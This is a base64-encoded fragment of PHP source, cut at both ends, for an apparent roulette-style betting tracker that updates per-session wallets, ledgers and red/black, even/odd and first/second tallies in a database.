nKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQkJCQkNCgkJfQ0KCQkNCgkJDQoJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsJCQkNCgkJCSR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ291dGdvaW5nJ10rJHRvdGFsb3V0Z29pbmc7DQoJCQkNCgkJCSR1cGRhdGV3YWxsZXRbJ2xlZGdlciddICAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2luY29taW5nJ10tICR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ107DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsnbGVkZ2VybGltaXQnXSA8ICR1cGRhdGV3YWxsZXRbJ2xlZGdlciddKXsNCgkJCSR1cGRhdGV3YWxsZXRbJ21haW5sZWRnZXInXSA9ICRnZXRXYWxsZXR2YWx1ZVsnbWFpbmxlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQlpZigkdXBkYXRld2FsbGV0WydsZWRnZXInXSA8ICRnZXRTZXR2YWx1ZVsnbWludXNsZWRnbGltaXQnXSl7DQoJCQkkdXBkYXRld2FsbGV0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQ0KCQkJDQoJCQlpZihAJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdlYWNodGltZScpID09ICdhcHBseScpew0KCQkJCSR0aGlzLT5vbmV0aW1lKCk7CQkJCQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCQ0KCQkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7CQkJDQoJCQkkcmVzdWx0ID0gYXJyYXkoKTsJCQkJCQkgICANCgkJCQkJICAgDQoJCQkkcmVzdWx0WydyZXR1cm5zdHJpbmcnXSA9ICR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJyk7CQ0KCQkJLy8kcmVzdWx0WydyZXR1cm5udW1iZXInXSA9ICRyZXR1cm5udW1iZXI7DQoJCQkkcmVzdWx0WydyZXR1cm5jb2xvcnN0cmluZyddID0gJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpOwkNCgkJCSRyZXN1bHRbJ3JldHVybnBsYWNlc3RyaW5nJ10gPSAkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJyk7CQ0KCQkJDQoJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJJHJlc3VsdFsnYmxhY2t0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkkcmVzdWx0WydmaXJzdHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkkcmVzdWx0WydldmVudGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkkcmVzdWx0WydvZGR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJDQoJCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHJlc3VsdFsncmJ3YWxsZXQnXSA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCSRyZXN1bHRbJ2h0d2FsbGV0J10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkkcmVzdWx0WydpbmNvbWluZyddID0gJGdldFdhbGxldHZhbHVlWydpbmNvbWluZyddOw0KCQkJJHJlc3VsdFsnb3V0Z29pbmcnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnb3V0Z29pbmcnXTsNCgkJCSRyZXN1bHRbJ2xlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ2xlZGdlciddOw0KCQkJJHJlc3VsdFsnbWFpbmxlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtYWlubGVkZ2VyJ107DQoJCQkkcmVzdWx0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddOwkNCgkJCQ0KCQkJDQoJCQlpZigkZ2V0U2V0dmFsdWVbJ3RpbGVzZXF1aXR5J10gPT0gJ3llcycpewkJCQkJDQoJCQkJJHRvdGFsdGlsZXN2YWwgPSAwOw0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCX1lbHNlew0KCQkJCQkkdG90YWx0aWxlc3ZhbCA9ICR0b3RhbHRpbGVzdmFsKyRnZXRXYWxsZXR2YWx1ZVsnb2RkdGlsZXMnXTsNCgkJCQl9DQoJCQkgICAgaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpID09ICdyZWQnKXsNCgkJCSAgICAJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3JlZHRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJfQ0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSA9PSAnZmlyc3QnKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJfQ0KCQkJCSR0b3RhbHRpbGVzdmFsID0gcm91bmQoJHRvdGFsdGlsZXN2YWwvMyk7DQoJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOwkJCQkJDQoJCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9DQoJCQkJICAgIGlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSA9PSAncmVkJyl7DQoJCQkJICAgICR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX0NCgkJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9CQ0KCQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7CQkJCQ0KCQkJCQkNCgkJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2JsYWNrdGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2ZpcnN0dGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZmlyc3R0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJJHJlc3VsdFsnZXZlbnRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCSRyZXN1bHRbJ29kZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQl9DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkNCgkJCXJldHVybiBqc29uX2VuY29kZSgkcmVzdWx0KTsNCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIHNhdmVtZW50aW9ubnVtKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21udW1iZXInXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpOw0KCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX01FTlRJT05OVU1SRUMsICRkYXRhKTsNCgkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7DQoJCWlmKCRpbnNlcnRlZF9pZCAhPSAnJyl7DQoJCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJCSRkbnVtYmVyID0gJGdldFNldHZhbHVlWydkbnVtYmVyJ107DQoJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQ0KCQkJJGVvd2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRlb3dhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJHJid2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydyYndhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRyYndhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJGh0d2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydodHdhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsnaHR3YWxsZXQnXSA9ICRodHdhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJDQoJCQkJCQ0KCQkJJGdldFRvcHRocmVlVmFsID0gJHRoaXMtPmdldFRvcHRocmVlVmFsKCk7DQoJCQkNCgkJCWlmKCRnZXRUb3B0aHJlZVZhbCl7DQoJCQkJZm9yZWFjaCgkZ2V0VG9wdGhyZWVWYWwgYXMgJG1udW12YWwpewkJCQkJDQoJCQkJCSR0aWxlc21udW12YWxbXSA9ICR0aGlzLT5nZXRWYWx1ZWluU2V0KCRtbnVtdmFsWydtbnVtYmVyJ10pOw0KCQkJCQkkcmV0dXJubnVtYmVyW10gPSAkbW51bXZhbFsnbW51bWJlciddOw0KCQkJCX0NCgkJCX0NCgkJCQ0KCQkJCWlmKCR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpJTIgPT0gMCl7DQoJCQkJCQkkcmV0dXJuc3RyaW5nID0gJ2V2ZW4nOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSRyZXR1cm5zdHJpbmcgPSAnb2RkJzsNCgkJCQkJfQkNCgkJCQ0KCQkJDQoJCQlpZihjb3VudCgkcmV0dXJubnVtYmVyKSA+IDApew0KCQkJCSRyZXR1cm5udW1iZXIgPSBpbXBsb2RlKCcsJywkcmV0dXJubnVtYmVyKTsJCQ0KCQkJfQ0KCQkNCgkJCWlmKCR0aWxlc21udW12YWxbMF1bJ3Byb3AnXVswXSA9PSAnYmxhY2tzZXQnKXsNCgkJCQkkcmV0dXJuY29sb3JzdHJpbmcgPSAnYmxhY2snOw0KCQkJfWVsc2V7DQoJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ3JlZCc7DQoJCQl9DQoJCQkNCgkJCWlmKCR0aWxlc21udW12YWxbMF1bJ3Byb3AnXVsxXSA9PSAnZmlyc3RodCcpew0KCQkJCSRyZXR1cm5wbGFjZXN0cmluZyA9ICdmaXJzdCc7DQoJCQl9ZWxzZXsNCgkJCQkkcmV0dXJucGxhY2VzdHJpbmcgPSAnc2Vjb25kJzsNCgkJCX0NCgkJCQ0KCQkJJHN0b3JlY250ID0gYXJyYXkoKTsNCgkJCSRzdG9yZWNvbG9yY250ID0gYXJyYXkoKTsJDQoJCQkkc3RvcmVwbGFjZWNudCA9IGFycmF5KCk7DQoJCQlpZihjb3VudCgkdGlsZXNtbnVtdmFsKT4yKXsNCgkJCQkkc3RvcmVjbnQgPSBhcnJheSgpOw0KCQkJCSRzdG9yZWNvbG9yY250ID0gYXJyYXkoKTsJDQoJCQkJJHN0b3JlcGxhY2VjbnQgPSBhcnJheSgpOwkJCQ0KCQkJCWZvcmVhY2goJHRpbGVzbW51bXZhbCBhcyAkdmFsKXsNCgkJCQkJaWYoJHZhbFsndmFsdWUnXSUyID09IDApew0KCQkJCQkJJHN0b3JlY250W10gPSAnZXZlbic7DQoJCQkJCX1lbHNlew0KCQkJCQkJJHN0b3JlY250W10gPSAnb2RkJzsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJHZhbFsncHJvcCddWzBdID09ICdibGFja3NldCcpew0KCQkJCQkJJHN0b3JlY29sb3JjbnRbXSA9ICdibGFjayc7DQoJCQkJCX1lbHNlew0KCQkJCQkJJHN0b3JlY29sb3JjbnRbXSA9ICdyZWQnOw0KCQkJCQl9DQoJCQkJCQ0KCQkJCQlpZigkdmFsWydwcm9wJ11bMV0gPT0gJ2ZpcnN0aHQnKXsNCgkJCQkJCSRzdG9yZXBsYWNlY250W10gPSAnZmlyc3QnOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSRzdG9yZXBsYWNlY250W10gPSAnc2Vjb25kJzsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJDQoJCQkJCQkJCQkNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCSRlb1N0YXR1cyA9ICdwYXNzJzsNCgkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykpew0KCQkJCSRwcmV2aW91c1N0cmluZyA9ICR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJyk7DQoJCQkJaWYoJHByZXZpb3VzU3RyaW5nICE9ICRyZXR1cm5zdHJpbmcpew0KCQkJCQkkZW9TdGF0dXMgPSAnZmFpbCc7DQoJCQkJfWVsc2V7DQoJCQkJCSRlb1N0YXR1cyA9ICdwYXNzJzsNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCSRyYlN0YXR1cyA9ICdwYXNzJzsNCgkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSl7DQoJCQkJJHByZXZpb3VzY29sb3JTdHJpbmcgPSAkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJyk7DQoJCQkJaWYoJHByZXZpb3VzY29sb3JTdHJpbmcgIT0gJHJldHVybmNvbG9yc3RyaW5nKXsNCgkJCQkJJHJiU3RhdHVzID0gJ2ZhaWwnOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJTdGF0dXMgPSAncGFzcyc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQkkaHRTdGF0dXMgPSAncGFzcyc7DQoJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykpew0KCQkJCSRwcmV2aW91c3BsYWNlU3RyaW5nID0gJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpOw0KCQkJCWlmKCRwcmV2aW91c3BsYWNlU3RyaW5nICE9ICRyZXR1cm5wbGFjZXN0cmluZyl7DQoJCQkJCSRodFN0YXR1cyA9ICdmYWlsJzsNCgkJCQl9ZWxzZXsNCgkJCQkJJGh0U3RhdHVzID0gJ3Bhc3MnOw0KCQkJCX0NCgkJCX0NCgkJCQ0KCQkJaWYoY291bnQoJHN0b3JlY250KSA+IDApew0KCQkJCWlmKCRzdG9yZWNudFswXSA9PSAnZXZlbicgJiYgJHN0b3JlY250WzFdID09ICdvZGQnICYmICRzdG9yZWNudFsyXSA9PSAnZXZlbicpew0KCQkJCQkkcmV0dXJuc3RyaW5nID0gJ29kZCc7CQkJCQkNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlY250WzBdID09ICdvZGQnICYmICRzdG9yZWNudFsxXSA9PSAnZXZlbicgJiYgJHN0b3JlY250WzJdID09ICdvZGQnKXsNCgkJCQkJJHJldHVybnN0cmluZyA9ICdldmVuJzsJCQkJCQ0KCQkJCX0NCgkJCQkJDQoJCQl9CQkJDQoJCQlpZihjb3VudCgkc3RvcmVjb2xvcmNudCkgPiAwKXsNCgkJCQlpZigkc3RvcmVjb2xvcmNudFswXSA9PSAncmVkJyAmJiAkc3RvcmVjb2xvcmNudFsxXSA9PSAnYmxhY2snICYmICRzdG9yZWNvbG9yY250WzJdID09ICdyZWQnKXsNCgkJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ2JsYWNrJzsNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlY29sb3JjbnRbMF0gPT0gJ2JsYWNrJyAmJiAkc3RvcmVjb2xvcmNudFsxXSA9PSAncmVkJyAmJiAkc3RvcmVjb2xvcmNudFsyXSA9PSAnYmxhY2snKXsNCgkJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ3JlZCc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQlpZihjb3VudCgkc3RvcmVwbGFjZWNudCkgPiAwKXsNCgkJCQlpZigkc3RvcmVwbGFjZWNudFswXSA9PSAnZmlyc3QnICYmICRzdG9yZXBsYWNlY250WzFdID09ICdzZWNvbmQnICYmICRzdG9yZXBsYWNlY250WzJdID09ICdmaXJzdCcpew0KCQkJCQkkcmV0dXJucGxhY2VzdHJpbmcgPSAnc2Vjb25kJzsNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlcGxhY2VjbnRbMF0gPT0gJ3NlY29uZCcgJiYgJHN0b3JlcGxhY2VjbnRbMV0gPT0gJ2ZpcnN0JyAmJiAkc3RvcmVwbGFjZWNudFsyXSA9PSAnc2Vjb25kJyl7DQoJCQkJCSRyZXR1cm5wbGFjZXN0cmluZyA9ICdmaXJzdCc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsJDQoJCQkNCgkJCQ0KCQkJJHRvdGFsaW5jb21pbmcgPSAwOw0KCQkJJHRvdGFsb3V0Z29pbmcgPSAwOw0KCQkJDQoJCQlpZigkZW9TdGF0dXMgPT0gJ2ZhaWwnKXsNCgkJCQkkZW93YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2Vvd2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gKCRlb3RpbGVzVmFsdWUqMikrJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJFb1dhbGxldFZhbHVlOw0KCQkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAwOwkJDQoJCQkJCQl9DQoJCQkJCQkNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2V2ZW50aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRnZW5lb3dhbGxldHZhbC0kZmluYWxlb3dhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZXZlbnRpbGVzJyk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkZ2VuZW93YWxsZXR2YWwgPSAoJGVvdGlsZXNWYWx1ZSoyKSskZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5lb3dhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRnZW5lb3dhbGxldHZhbC0kZmluYWxlb3dhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnb2RkdGlsZXMnKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpewkNCgkJCQlpZigkcmV0dXJuc3RyaW5nID09ICdldmVuJyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQkJDQoJCQkJfQ0KC